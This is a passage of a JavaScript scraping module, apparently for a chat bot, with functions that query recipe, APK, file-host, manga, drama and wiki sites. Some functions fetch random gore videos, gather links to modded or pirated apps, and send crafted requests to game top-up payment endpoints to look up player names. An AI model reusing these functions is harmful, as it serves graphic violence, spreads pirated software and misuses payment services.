1024 | $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-main > div.single-content > div.single-steps > table > tbody > tr > td.single-step-description > div > p').each(function(e, f) {
1025 | th = $(f).text();
1026 | atahap.push(th)
1027 | })
1028 | const judul = $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-title.title-hide-in-desktop > h1').text();
1029 | const waktu = $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-main > div.single-meta > ul > li.single-meta-cooking-time > span').text();
1030 | const hasil = $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-main > div.single-meta > ul > li.single-meta-serves > span').text().split(': ')[1]
1031 | const level = $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-main > div.single-meta > ul > li.single-meta-difficulty > span').text().split(': ')[1]
1032 | const thumb = $('body > div.all-wrapper.with-animations > div.single-panel.os-container > div.single-panel-details > div > div.single-main-media > img').attr('src')
1033 | tbahan = 'bahan\n'
1034 | for (let i = 0; i < abahan.length; i++) {
1035 | tbahan += abahan[i] + ' ' + atakaran[i] + '\n'
1036 | }
1037 | ttahap = 'tahap\n'
1038 | for (let i = 0; i < atahap.length; i++) {
1039 | ttahap += atahap[i] + '\n\n'
1040 | }
1041 | const tahap = ttahap
1042 | const bahan = tbahan
1043 | const result = {
1044 | creator: 'Alice Project',
1045 | judul_nya: judul,
1046 | waktu_nya: waktu,
1047 | hasil_nya: hasil,
1048 | tingkat_kesulitan: level,
1049 | thumb_nya: thumb,
1050 | bahan_nya: bahan.split('bahan\n')[1],
1051 | langkah_langkah: tahap.split('tahap\n')[1]
1052 | }
1053 | resolve(result)
1054 | })
1055 | .catch(reject)
1056 | })
1057 | }
1058 | exports.searchgore = async (query) => {
1059 | return new Promise(async (resolve, reject) => {
1060 | axios.get('https://seegore.com/?s=' + query).then(dataa => {
1061 | const $$$ = cheerio.load(dataa)
1062 | pagina = $$$('#main > div.container.main-container > div > div.bb-col.col-content > div > div > div > div > nav > ul > li:nth-child(4) > a').text();
1063 | rand = Math.floor(Math.random() * pagina) + 1
1064 | if (rand === 1) {
1065 | slink = 'https://seegore.com/?s=' + query
1066 | } else {
1067 | slink = `https://seegore.com/page/${rand}/?s=${query}`
1068 | }
1069 | axios.get(slink)
1070 | .then(({
1071 | data
1072 | }) => {
1073 | const $ = cheerio.load(data)
1074 | const link = [];
1075 | const judul = [];
1076 | const uploader = [];
1077 | const format = [];
1078 | const thumb = [];
1079 | $('#post-items > li > article > div.content > header > h2 > a').each(function(a, b) {
1080 | link.push($(b).attr('href'))
1081 | })
1082 | $('#post-items > li > article > div.content > header > h2 > a').each(function(c, d) {
1083 | jud = $(d).text();
1084 | judul.push(jud)
1085 | })
1086 | $('#post-items > li > article > div.content > header > div > div.bb-cat-links > a').each(function(e, f) {
1087 | upl = $(f).text();
1088 | uploader.push(upl)
1089 | })
1090 | $('#post-items > li > article > div.post-thumbnail > a > div > img').each(function(g, h) {
1091 | thumb.push($(h).attr('src'))
1092 | })
1093 | for (let i = 0; i < link.length; i++) {
1094 | format.push({
1095 | judul: judul[i],
1096 | uploader: uploader[i],
1097 | thumb: thumb[i],
1098 | link: link[i]
1099 | })
1100 | }
1101 | const result = {
1102 | creator: 'Alice Project',
1103 | data: format
1104 | }
1105 | resolve(result)
1106 | })
1107 | .catch(reject)
1108 | })
1109 | })
1110 | }
1111 | exports.randomgore = async () => {
1112 | return new Promise(async (resolve, reject) => {
1113 | rand = Math.floor(Math.random() * 218) + 1
1114 | randvid = Math.floor(Math.random() * 16) + 1
1115 | if (rand === 1) {
1116 | slink = 'https://seegore.com/gore/'
1117 | } else {
1118 | slink = `https://seegore.com/gore/page/${rand}/`
1119 | }
1120 | axios.get(slink)
1121 | .then(({
1122 | data
1123 | }) => {
1124 | const $ = cheerio.load(data)
1125 | const link = [];
1126 | const result = [];
1127 | const username = [];
1128 | const linkp = $(`#post-items > li:nth-child(${randvid}) > article > div.post-thumbnail > a`).attr('href')
1129 | const thumbb = $(`#post-items > li:nth-child(${randvid}) > article > div.post-thumbnail > a > div > img`).attr('src')
1130 | axios.get(linkp)
1131 | .then(({
1132 | data
1133 | }) => {
1134 | const $$ = cheerio.load(data)
1135 | const format = {
1136 | judul: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > header > h1').text(),
1137 | views: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > span > span.count').text(),
1138 | comment: $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > a > span.count').text() == '' ? 'Tidak ada komentar' : $$('div.single-main-container > div > div.bb-col.col-content > div > div > div > div > div.s-post-meta-block.bb-mb-el > div > div > div.col-r.d-table-cell.col-md-6.col-sm-6.text-right-sm > div > a > span.count').text(),
1139 | thumb: thumbb,
1140 | link: $$('video > source').attr('src')
1141 | }
1142 | const result = {
1143 | creator: 'Alice Project',
1144 | data: format
1145 | }
1146 | resolve(result)
1147 | })
1148 | .catch(reject)
1149 | })
1150 | })
1151 | }
1152 | exports.textmakervid = async (text1, style) => {
1153 | if (style == 'poly') {
1154 | var tstyle = 0
1155 | } else if (style == 'bold') {
1156 | var tstyle = 1
1157 | } else if (style == 'glowing') {
1158 | var tstyle = 2
1159 | } else if (style == 'colorful') {
1160 | var tstyle = 3
1161 | } else if (style == 'army') {
1162 | var tstyle = 4
1163 | } else if (style == 'retro') {
1164 | var tstyle = 5
1165 | }
1166 | return new Promise((resolve, reject) => {
1167 | const options = {
1168 | method: 'POST',
1169 | url: "https://photooxy.com/other-design/make-a-video-that-spells-your-name-237.html",
1170 | headers: {
1171 | 'content-type': 'application/x-www-form-urlencoded'
1172 | },
1173 | formData: {
1174 | optionNumber_0: tstyle,
1175 | text_1: text1,
1176 | login: 'OK'
1177 | }
1178 | };
1179 | request(options, async function(error, response, body) {
1180 | if (error) throw new Error(error);
1181 | const $ = cheerio.load(body)
1182 | const result = {
1183 | url: $('div.btn-group > a').attr('href')
1184 | }
1185 | resolve(result);
1186 | });
1187 | })
1188 | }
1189 | exports.apkmirror = async (query) => {
1190 | return new Promise((resolve, reject) => {
1191 | axios.get('https://www.apkmirror.com/?post_type=app_release&searchtype=apk&s=' + query)
1192 | .then(({
1193 | data
1194 | }) => {
1195 | const $ = cheerio.load(data)
1196 | const nama = [];
1197 | const developer = [];
1198 | const lupdate = [];
1199 | const size = [];
1200 | const down = [];
1201 | const version = [];
1202 | const link = [];
1203 | const format = [];
1204 | $('#content > div > div > div.appRow > div > div > div > h5 > a').each(function(a, b) {
1205 | nem = $(b).text();
1206 | nama.push(nem)
1207 | })
1208 | $('#content > div > div > div.appRow > div > div > div > a').each(function(c, d) {
1209 | dev = $(d).text();
1210 | developer.push(dev)
1211 | })
1212 | $('#content > div > div > div.appRow > div > div > div > div.downloadIconPositioning > a').each(function(e, f) {
1213 | link.push('https://www.apkmirror.com' + $(f).attr('href'))
1214 | })
1215 | $('#content > div > div > div.infoSlide > p > span.infoslide-value').each(function(g, h) {
1216 | data = $(h).text();
1217 | if (data.match('MB')) {
1218 | size.push(data)
1219 | } else if (data.match('UTC')) {
1220 | lupdate.push(data)
1221 | } else if (!isNaN(data) || data.match(',')) {
1222 | down.push(data)
1223 | } else {
1224 | version.push(data)
1225 | }
1226 | })
1227 | for (let i = 0; i < link.length; i++) {
1228 | format.push({
1229 | judul: nama[i],
1230 | dev: developer[i],
1231 | size: size[i],
1232 | version: version[i],
1233 | uploaded_on: lupdate[i],
1234 | download_count: down[i],
1235 | link: link[i]
1236 | })
1237 | }
1238 | const result = {
1239 | creator: 'Hanya Orang Biasa',
1240 | data: format
1241 | }
1242 | resolve(result)
1243 | })
1244 | .catch(reject)
1245 | })
1246 | }
1247 | exports.sfiledown = async (link) => {
1248 | return new Promise((resolve, reject) => {
1249 | axios.get(link)
1250 | .then(({
1251 | data
1252 | }) => {
1253 | const $ = cheerio.load(data)
1254 | const nama = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(2) > b').text();
1255 | const size = $('#download').text().split('Download File')
1256 | const desc = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(7) > center > h1').text();
1257 | const type = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(4) > a:nth-child(3)').text();
1258 | const upload = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(5)').text();
1259 | const uploader = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(4) > a:nth-child(2)').text();
1260 | const download = $('body > div.w3-row-padding.w3-container.w3-white > div > div:nth-child(6)').text();
1261 | const link = $('#download').attr('href')
1262 | other = link.split('/')[7].split('&is')[0]
1263 | const format = {
1264 | judul: nama + other.substr(other.length - 6).split('.')[1],
1265 | size: size[1].split('(')[1].split(')')[0],
1266 | type: type,
1267 | mime: other.substr(other.length - 6).split('.')[1],
1268 | desc: desc,
1269 | uploader: uploader,
1270 | uploaded: upload.split('\n - Uploaded: ')[1],
1271 | download_count: download.split(' - Downloads: ')[1],
1272 | link: link
1273 | }
1274 | const result = {
1275 | creator: 'Hanya Orang Biasa',
1276 | data: format
1277 | }
1278 | resolve(result)
1279 | })
1280 | .catch(reject)
1281 | })
1282 | }
1283 | exports.zippydl = async (link) => {
1284 | return new Promise(async (resolve, reject) => {
1285 | axios.get(link)
1286 | .then(({
1287 | data
1288 | }) => {
1289 | const $ = cheerio.load(data)
1290 | const nama = $('#lrbox > div:nth-child(2) > div:nth-child(1) > font:nth-child(4)').text();
1291 | const size = $('#lrbox > div:nth-child(2) > div:nth-child(1) > font:nth-child(7)').text();
1292 | const upload = $('#lrbox > div:nth-child(2) > div:nth-child(1) > font:nth-child(10)').text();
1293 | const getlink = async (u) => {
1294 | console.log('⏳ ' + `Get Page From : ${u}`)
1295 | const zippy = await axios({
1296 | method: 'GET',
1297 | url: u
1298 | }).then(res => res.data).catch(err => false)
1299 | console.log('Done')
1300 | const $ = cheerio.load(zippy)
1301 | if (!$('#dlbutton').length) {
1302 | return {
1303 | error: true,
1304 | message: $('#lrbox>div').first().text().trim()
1305 | }
1306 | }
1307 | console.log('⏳ ' + 'Fetch Link Download...')
1308 | const url = _url.parse($('.flagen').attr('href'), true)
1309 | const urlori = _url.parse(u)
1310 | const key = url.query['key']
1311 | let time;
1312 | let dlurl;
1313 | try {
1314 | time = /var b = ([0-9]+);$/gm.exec($('#dlbutton').next().html())[1]
1315 | dlurl = urlori.protocol + '//' + urlori.hostname + '/d/' + key + '/' + (2 + 2 * 2 + parseInt(time)) + '3/DOWNLOAD'
1316 | } catch (error) {
1317 | time = _math.evaluate(/ \+ \((.*)\) \+ /gm.exec($('#dlbutton').next().html())[1])
1318 | dlurl = urlori.protocol + '//' + urlori.hostname + '/d/' + key + '/' + (time) + '/DOWNLOAD'
1319 | }
1320 | console.log('Done')
1321 | return dlurl
1322 | }
1323 | getlink(link).then(res => {
1324 | //_(timet)
1325 | var result = {
1326 | creator: 'Hanya Orang Biasa',
1327 | data: {
1328 | Judul: nama,
1329 | size: size,
1330 | uploaded: upload,
1331 | link: res
1332 | }
1333 | }
1334 | resolve(result)
1335 | })
1336 | })
1337 | .catch(reject)
1338 | })
1339 | }
1340 | exports.android1 = (query) => {
1341 | return new Promise((resolve, reject) => {
1342 | axios.get('https://an1.com/tags/MOD/?story=' + query + '&do=search&subaction=search')
1343 | .then(({
1344 | data
1345 | }) => {
1346 | const $ = cheerio.load(data)
1347 | const nama = [];
1348 | const link = [];
1349 | const rating = [];
1350 | const thumb = [];
1351 | const developer = [];
1352 | const format = [];
1353 | $('body > div.page > div > div > div.app_list > div > div > div.cont > div.data > div.name > a > span').each(function(a, b) {
1354 | nem = $(b).text();
1355 | nama.push(nem)
1356 | })
1357 | $('div > ul > li.current-rating').each(function(c, d) {
1358 | rat = $(d).text();
1359 | rating.push(rat)
1360 | })
1361 | $('body > div.page > div > div > div.app_list > div > div > div.cont > div.data > div.developer.xsmf.muted').each(function(e, f) {
1362 | dev = $(f).text();
1363 | developer.push(dev)
1364 | })
1365 | $('body > div.page > div > div > div.app_list > div > div > div.img > img').each(function(g, h) {
1366 | thumb.push($(h).attr('src'))
1367 | })
1368 | $('body > div.page > div > div > div.app_list > div > div > div.cont > div.data > div.name > a').each(function(i, j) {
1369 | link.push($(j).attr('href'))
1370 | })
1371 | for (let i = 0; i < link.length; i++) {
1372 | format.push({
1373 | judul: nama[i],
1374 | dev: developer[i],
1375 | rating: rating[i],
1376 | thumb: thumb[i],
1377 | link: link[i]
1378 | })
1379 | }
1380 | const result = {
1381 | creator: 'Hanya Orang Biasa',
1382 | data: format
1383 | }
1384 | resolve(result)
1385 | })
1386 | .catch(reject)
1387 | })
1388 | }
1389 | exports.apkmody = (query) => {
1390 | return new Promise((resolve, reject) => {
1391 | axios.get('https://apkmody.io/?s=' + query)
1392 | .then(({
1393 | data
1394 | }) => {
1395 | //console.log(data)
1396 | const $ = cheerio.load(data)
1397 | const nama = [];
1398 | const link = [];
1399 | const mod = [];
1400 | const thumb = [];
1401 | const format = [];
1402 | $('#primary > section:nth-child(3) > div > div > div > article > a > div > div > div > h2').each(function(a, b) {
1403 | nem = $(b).text();
1404 | nama.push(nem)
1405 | })
1406 | $('#primary > section:nth-child(3) > div > div > div > article > a > div > div > p').each(function(c, d) {
1407 | modd = $(d).text();
1408 | mod.push(modd.split('\n')[1])
1409 | })
1410 | $('#primary > section:nth-child(3) > div > div > div > article > a > div > img').each(function(e, f) {
1411 | thumb.push($(f).attr('src'))
1412 | })
1413 | $('#primary > section:nth-child(3) > div > div > div > article > a').each(function(g, h) {
1414 | link.push($(h).attr('href'))
1415 | })
1416 | for (let i = 0; i < link.length; i++) {
1417 | format.push({
1418 | judul: nama[i],
1419 | infomod: mod[i],
1420 | thumb: thumb[i],
1421 | link: link[i]
1422 | })
1423 | }
1424 | const result = {
1425 | creator: 'Hanya Orang Biasa',
1426 | data: format
1427 | }
1428 | resolve(result)
1429 | })
1430 | .catch(reject)
1431 | })
1432 | }
1433 | exports.happymod = (query) => {
1434 | return new Promise((resolve, reject) => {
1435 | axios.get('https://www.happymod.com/search.html?q=' + query)
1436 | .then(({
1437 | data
1438 | }) => {
1439 | const $ = cheerio.load(data)
1440 | const nama = [];
1441 | const link = [];
1442 | const rating = [];
1443 | const thumb = [];
1444 | const format = [];
1445 | $('body > div.container-row.clearfix.container-wrap > div.container-left > section > div > div > h3 > a').each(function(a, b) {
1446 | nem = $(b).text();
1447 | nama.push(nem)
1448 | link.push('https://happymod.com' + $(b).attr('href'))
1449 | })
1450 | $('body > div.container-row.clearfix.container-wrap > div.container-left > section > div > div > div.clearfix > span').each(function(c, d) {
1451 | rat = $(d).text();
1452 | rating.push(rat)
1453 | })
1454 | $('body > div.container-row.clearfix.container-wrap > div.container-left > section > div > a > img').each(function(e, f) {
1455 | thumb.push($(f).attr('data-original'))
1456 | })
1457 | for (let i = 0; i < link.length; i++) {
1458 | format.push({
1459 | title: nama[i],
1460 | thumb: thumb[i],
1461 | rating: rating[i],
1462 | link: link[i]
1463 | })
1464 | }
1465 | const result = {
1466 | creator: 'Alice Project',
1467 | data: format
1468 | }
1469 | resolve(result)
1470 | })
1471 | .catch(reject)
1472 | })
1473 | }
1474 | exports.nickff = (userId) => {
1475 | if (!userId) return new Error("no userId")
1476 | return new Promise((resolve, reject) => {
1477 | let body = {
1478 | "voucherPricePoint.id": 8050,
1479 | "voucherPricePoint.price": "",
1480 | "voucherPricePoint.variablePrice": "",
1481 | "n": "",
1482 | "email": "",
1483 | "userVariablePrice": "",
1484 | "order.data.profile": "",
1485 | "user.userId": userId,
1486 | "voucherTypeName": "FREEFIRE",
1487 | "affiliateTrackingId": "",
1488 | "impactClickId": "",
1489 | "checkoutId": "",
1490 | "tmwAccessToken": "",
1491 | "shopLang": "in_ID"
1492 | };
1493 | axios({
1494 | "url": "https://order.codashop.com/id/initPayment.action",
1495 | "method": "POST",
1496 | "data": body,
1497 | "headers": {
1498 | "Content-Type": "application/json; charset/utf-8",
1499 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
1500 | }
1501 | }).then(({
1502 | data
1503 | }) => {
1504 | resolve({
1505 | "username": data.confirmationFields.roles[0].role,
1506 | "userId": userId,
1507 | "country": data.confirmationFields.country
1508 | });
1509 | }).catch(reject);
1510 | });
1511 | }
1512 |
1513 | exports.nickml = (id, zoneId) => {
1514 | return new Promise(async (resolve, reject) => {
1515 | axios
1516 | .post(
1517 | 'https://api.duniagames.co.id/api/transaction/v1/top-up/inquiry/store',
1518 | new URLSearchParams(
1519 | Object.entries({
1520 | productId: '1',
1521 | itemId: '2',
1522 | catalogId: '57',
1523 | paymentId: '352',
1524 | gameId: id,
1525 | zoneId: zoneId,
1526 | product_ref: 'REG',
1527 | product_ref_denom: 'AE',
1528 | })
1529 | ),
1530 | {
1531 | headers: {
1532 | 'Content-Type': 'application/x-www-form-urlencoded',
1533 | Referer: 'https://www.duniagames.co.id/',
1534 | Accept: 'application/json',
1535 | },
1536 | }
1537 | )
1538 | .then((response) => {
1539 | resolve(response.data.data.gameDetail)
1540 | })
1541 | .catch((err) => {
1542 | reject(err)
1543 | })
1544 | })
1545 | }
1546 | exports.corona = async (country) => {
1547 | if (!country) return loghandler.noinput;
1548 | try {
1549 | const res = await axios.request(`https://www.worldometers.info/coronavirus/country/` + country, {
1550 | method: "GET",
1551 | headers: {
1552 | "User-Agent": "Mozilla/5.0 (Linux; Android 9; Redmi 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36"
1553 | }
1554 | });
1555 | let result = {};
1556 | const $ = cheerio.load(res.data);
1557 | result.status = res.status
1558 | result.negara = $("div").find("h1").text().slice(3).split(/ /g)[0];
1559 | result.total_kasus = $("div#maincounter-wrap").find("div.maincounter-number > span").eq(0).text() + " total";
1560 | result.total_kematian = $("div#maincounter-wrap").find("div.maincounter-number > span").eq(1).text() + " total";
1561 | result.total_sembuh = $("div#maincounter-wrap").find("div.maincounter-number > span").eq(2).text() + " total";
1562 | result.informasi = $("div.content-inner > div").eq(1).text();
1563 | result.informasi_lengkap = "https://www.worldometers.info/coronavirus/country/" + country;
1564 | if (result.negara == '') {
1565 | result.status = 'error'
1566 | }
1567 | return result;
1568 | } catch (error404) {
1569 | return "=> Error => " + error404;
1570 | }
1571 | };
1572 | exports.mangatoon = async (search) => {
1573 | if (!search) return "No Querry Input! Bakaa >\/\/<";
1574 | try {
1575 | const res = await axios.get(`https://mangatoon.mobi/en/search?word=${search}`, {
1576 | method: "GET",
1577 | headers: {
1578 | "User-Agent": "Mozilla/5.0 (Linux; Android 9; Redmi 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Mobile Safari/537.36"
1579 | }
1580 | });
1581 | const hasil = [];
1582 | const $ = cheerio.load(res.data);
1583 | $('div.recommend-item').each(function(a, b) {
1584 | let comic_name = $(b).find('div.recommend-comics-title > span').text();
1585 | let comic_type = $(b).find('div.comics-type > span').text().slice(1).split(/ /g).join("");
1586 | let comic_url = $(b).find('a').attr('href');
1587 | let comic_thumb = $(b).find('img').attr('src');
1588 | const result = {
1589 | status: res.status,
1590 | creator: "Alice Project",
1591 | comic_name,
1592 | comic_type,
1593 | comic_url: 'https://mangatoon.mobi' + comic_url,
1594 | comic_thumb
1595 | };
1596 | hasil.push(result);
1597 | });
1598 | let filt = hasil.filter(v => v.comic_name !== undefined && v.comic_type !== undefined);
1599 | return filt;
1600 | } catch (eror404) {
1601 | return "=> Error =>" + eror404;
1602 | }
1603 | }
1604 | exports.palingmurah = async (produk) => {
1605 | if (!produk) {
1606 | return new TypeError("No Querry Input! Bakaaa >\/\/<")
1607 | }
1608 | try {
1609 | const res = await axios.get(`https://palingmurah.net/pencarian-produk/?term=` + produk)
1610 | const hasil = []
1611 | const $ = cheerio.load(res.data)
1612 | $('div.ui.card.wpj-card-style-2 ').each(function(a, b) {
1613 | let url = $(b).find('a.image').attr('href')
1614 | let img = $(b).find('img.my_image.lazyload').attr('data-src')
1615 | let title = $(b).find('a.list-header').text().trim()
1616 | let product_desc = $(b).find('div.description.visible-on-list').text().trim()
1617 | let price = $(b).find('div.flex-master.card-job-price.text-right.text-vertical-center').text().trim()
1618 | const result = {
1619 | status: res.status,
1620 | creator: "Alice Project",
1621 | product: title,
1622 | product_desc: product_desc,
1623 | product_image: img,
1624 | product_url: url,
1625 | price
1626 | }
1627 | hasil.push(result)
1628 | })
1629 | return hasil
1630 | } catch (error404) {
1631 | return new Error("=> Error =>" + error404)
1632 | }
1633 | }
1634 | exports.mediafire = (query) => {
1635 | return new Promise((resolve, reject) => {
1636 | axios.get(query)
1637 | .then(({
1638 | data
1639 | }) => {
1640 | const $ = cheerio.load(data)
1641 | const judul = $('body > div.mf-dlr.page.ads-alternate > div.content > div.center > div > div.dl-btn-cont > div.dl-btn-labelWrap > div.promoDownloadName.notranslate > div').text();
1642 | const size = $('body > div.mf-dlr.page.ads-alternate > div.content > div.center > div > div.dl-info > ul > li:nth-child(1) > span').text();
1643 | const upload_date = $('body > div.mf-dlr.page.ads-alternate > div.content > div.center > div > div.dl-info > ul > li:nth-child(2) > span').text();
1644 | const link = $('#downloadButton').attr('href')
1645 | const hsil = {
1646 | judul: link.split('/')[5],
1647 | upload_date: upload_date,
1648 | size: size,
1649 | mime: link.split('/')[5].split('.')[1],
1650 | link: link
1651 | }
1652 | resolve(hsil)
1653 | })
1654 | .catch(reject)
1655 | })
1656 | }
1657 | exports.artinama = (query) => {
1658 | return new Promise((resolve, reject) => {
1659 | queryy = query.replace(/ /g, '+')
1660 | axios.get('https://www.primbon.com/arti_nama.php?nama1=' + query + '&proses=+Submit%21+')
1661 | .then(({
1662 | data
1663 | }) => {
1664 | const $ = cheerio.load(data)
1665 | const result = $('#body').text();
1666 | const result2 = result.split('\n \n \n \n')[0]
1667 | const result4 = result2.split('ARTI NAMA')[1]
1668 | const result5 = result4.split('.\n\n')
1669 | const result6 = result5[0] + '\n\n' + result5[1]
1670 | resolve(result6)
1671 | })
1672 | .catch(reject)
1673 | })
1674 | }
1675 | exports.drakor = (query) => {
1676 | return new Promise((resolve, reject) => {
1677 | queryy = query.replace(/ /g, '+')
1678 | axios.get('https://drakorasia.net/?s=' + queryy + '&post_type=post')
1679 | .then(({
1680 | data
1681 | }) => {
1682 | const $ = cheerio.load(data)
1683 | const result = [];
1684 | const link = [];
1685 | const judul = [];
1686 | const thumb = [];
1687 | $('#post > div > div.thumbnail > a').each(function(a, b) {
1688 | link.push($(b).attr('href'))
1689 | thumb.push($(b).find('img').attr('src'))
1690 | })
1691 | $('#post > div > div.title.text-center.absolute.bottom-0.w-full.py-2.pb-4.px-3 > a > h2').each(function(c, d) {
1692 | titel = $(d).text();
1693 | judul.push(titel)
1694 | })
1695 | for (let i = 0; i < link.length; i++) {
1696 | result.push({
1697 | judul: judul[i],
1698 | thumb: thumb[i],
1699 | link: link[i]
1700 | })
1701 | }
1702 | resolve(result)
1703 | })
1704 | .catch(reject)
1705 | })
1706 | }
1707 | exports.wattpad = (query) => {
1708 | return new Promise((resolve, reject) => {
1709 | axios.get('https://www.wattpad.com/search/' + query)
1710 | .then(({
1711 | data
1712 | }) => {
1713 | const $ = cheerio.load(data)
1714 | const result = [];
1715 | const linkk = [];
1716 | const judull = [];
1717 | const thumb = [];
1718 | const dibaca = [];
1719 | const vote = [];
1720 | const bab = [];
1721 | $('ul.list-group > li.list-group-item').each(function(a, b) {
1722 | linkk.push('https://www.wattpad.com' + $(b).find('a').attr('href'))
1723 | thumb.push($(b).find('img').attr('src'))
1724 | })
1725 | $('div.story-card-data.hidden-xxs > div.story-info > ul > li:nth-child(1) > div.icon-container > div > span.stats-value').each(function(e, f) {
1726 | baca = $(f).text();
1727 | dibaca.push(baca)
1728 | })
1729 | $('div.story-card-data.hidden-xxs > div.story-info > ul > li:nth-child(2) > div.icon-container > div > span.stats-value').each(function(g, h) {
1730 | vot = $(h).text();
1731 | vote.push(vot)
1732 | })
1733 | $('div.story-card-data.hidden-xxs > div.story-info > ul > li:nth-child(3) > div.icon-container > div > span.stats-value').each(function(i, j) {
1734 | bb = $(j).text();
1735 | bab.push(bb)
1736 | })
1737 | $('div.story-card-data.hidden-xxs > div.story-info > div.title').each(function(c, d) {
1738 | titel = $(d).text();
1739 | judull.push(titel)
1740 | })
1741 | for (let i = 0; i < linkk.length; i++) {
1742 | if (!judull[i] == '') {
1743 | result.push({
1744 | judul: judull[i],
1745 | dibaca: dibaca[i],
1746 | divote: vote[i],
1747 | thumb: thumb[i],
1748 | link: linkk[i]
1749 | })
1750 | }
1751 | }
1752 | resolve(result)
1753 | })
1754 | .catch(reject)
1755 | })
1756 | }
1757 | exports.dewabatch = (query) => {
1758 | return new Promise((resolve, reject) => {
1759 | axios.get('https://dewabatch.com/?s=' + query)
1760 | .then(({
1761 | data
1762 | }) => {
1763 | const $ = cheerio.load(data)
1764 | const result = [];
1765 | const linkk = [];
1766 | const judull = [];
1767 | const thumb = [];
1768 | const rating = [];
1769 | $('div.thumb > a').each(function(a, b) {
1770 | linkk.push($(b).attr('href'))
1771 | judull.push($(b).attr('title'))
1772 | thumb.push($(b).find('img').attr('src').split('?resize')[0])
1773 | })
1774 | $('#content > div.postbody > div > div > ul > li > div.dtl > div.footer-content-post.fotdesktoppost > div.contentleft > span:nth-child(1) > rating > ratingval > ratingvalue').each(function(c, d) {
1775 | rate = $(d).text();
1776 | rating.push(rate.split(' ')[0])
1777 | })
1778 | for (let i = 0; i < linkk.length; i++) {
1779 | result.push({
1780 | judul: judull[i],
1781 | rating: rating[i],
1782 | thumb: thumb[i],
1783 | link: linkk[i]
1784 | })
1785 | }
1786 | resolve(result)
1787 | })
1788 | .catch(reject)
1789 | })
1790 | }
1791 | exports.kiryu = (query) => {
1792 | return new Promise((resolve, reject) => {
1793 | axios.get('https://kiryuu.id/?s=' + query)
1794 | .then(({
1795 | data
1796 | }) => {
1797 | const $ = cheerio.load(data)
1798 | const result = [];
1799 | const linkk = [];
1800 | const judull = [];
1801 | const thumb = [];
1802 | const rating = [];
1803 | $('div.bsx > a').each(function(a, b) {
1804 | linkk.push($(b).attr('href'))
1805 | judull.push($(b).attr('title'))
1806 | thumb.push($(b).find('img').attr('src').split('?resize')[0])
1807 | })
1808 | $('div.rating > div.numscore').each(function(c, d) {
1809 | rate = $(d).text();
1810 | rating.push(rate)
1811 | })
1812 | for (let i = 0; i < linkk.length; i++) {
1813 | result.push({
1814 | judul: judull[i],
1815 | rating: rating[i],
1816 | thumb: thumb[i],
1817 | link: linkk[i]
1818 | })
1819 | }
1820 | resolve(result)
1821 | })
1822 | .catch(reject)
1823 | })
1824 | }
1825 | exports.sfilesearch = (query) => {
1826 | return new Promise((resolve, reject) => {
1827 | axios.get('https://sfile.mobi/search.php?q=' + query + '&search=Search')
1828 | .then(({
1829 | data
1830 | }) => {
1831 | const $ = cheerio.load(data)
1832 | const result = [];
1833 | const link = [];
1834 | const neme = [];
1835 | const size = [];
1836 | $('div.w3-card.white > div.list > a').each(function(a, b) {
1837 | link.push($(b).attr('href'))
1838 | })
1839 | $('div.w3-card.white > div.list > a').each(function(c, d) {
1840 | name = $(d).text();
1841 | neme.push(name)
1842 | })
1843 | $('div.w3-card.white > div.list').each(function(e, f) {
1844 | siz = $(f).text();
1845 | //sz = siz.
1846 | size.push(siz.split('(')[1])
1847 | })
1848 | for (let i = 0; i < link.length; i++) {
1849 | result.push({
1850 | nama: neme[i],
1851 | size: size[i].split(')')[0],
1852 | link: link[i]
1853 | })
1854 | }
1855 | resolve(result)
1856 | })
1857 | .catch(reject)
1858 | })
1859 | }
1860 | exports.carigc = (nama) => {
1861 | return new Promise((resolve, reject) => {
1862 | axios.get('http://ngarang.com/link-grup-wa/daftar-link-grup-wa.php?search=' + nama + '&searchby=name')
1863 | .then(({
1864 | data
1865 | }) => {
1866 | const $ = cheerio.load(data);
1867 | const result = [];
1868 | const lnk = [];
1869 | const nm = [];
1870 | $('div.wa-chat-title-container').each(function(a, b) {
1871 | const limk = $(b).find('a').attr('href');
1872 | lnk.push(limk)
1873 | })
1874 | $('div.wa-chat-title-text').each(function(c, d) {
1875 | const name = $(d).text();
1876 | nm.push(name)
1877 | })
1878 | for (let i = 0; i < lnk.length; i++) {
1879 | result.push({
1880 | nama: nm[i].split('. ')[1],
1881 | link: lnk[i].split('?')[0]
1882 | })
1883 | }
1884 | resolve(result)
1885 | })
1886 | .catch(reject)
1887 | })
1888 | }
1889 | exports.wikisearch = async (query) => {
1890 | const res = await axios.get(`https://id.m.wikipedia.org/w/index.php?search=${query}`)
1891 | const $ = cheerio.load(res.data)
1892 | const hasil = []
1893 | let wiki = $('#mf-section-0').find('p').text()
1894 | let thumb = $('#mf-section-0').find('div > div > a > img').attr('src')
1895 | thumb = thumb ? thumb : '//pngimg.com/uploads/wikipedia/wikipedia_PNG35.png'
1896 | thumb = 'https:' + thumb
1897 | let judul = $('h1#section_0').text()
1898 | hasil.push({
1899 | wiki,
1900 | thumb,
1901 | judul
1902 | })
1903 | return hasil
1904 | }
1905 | exports.devianart = (query) => {
1906 | return new Promise((resolve, reject) => {
1907 | axios.get('https://www.deviantart.com/search?q=' + query)
1908 | .then(({
1909 | data
1910 | }) => {
1911 | const $$ = cheerio.load(data)
1912 | no = ''
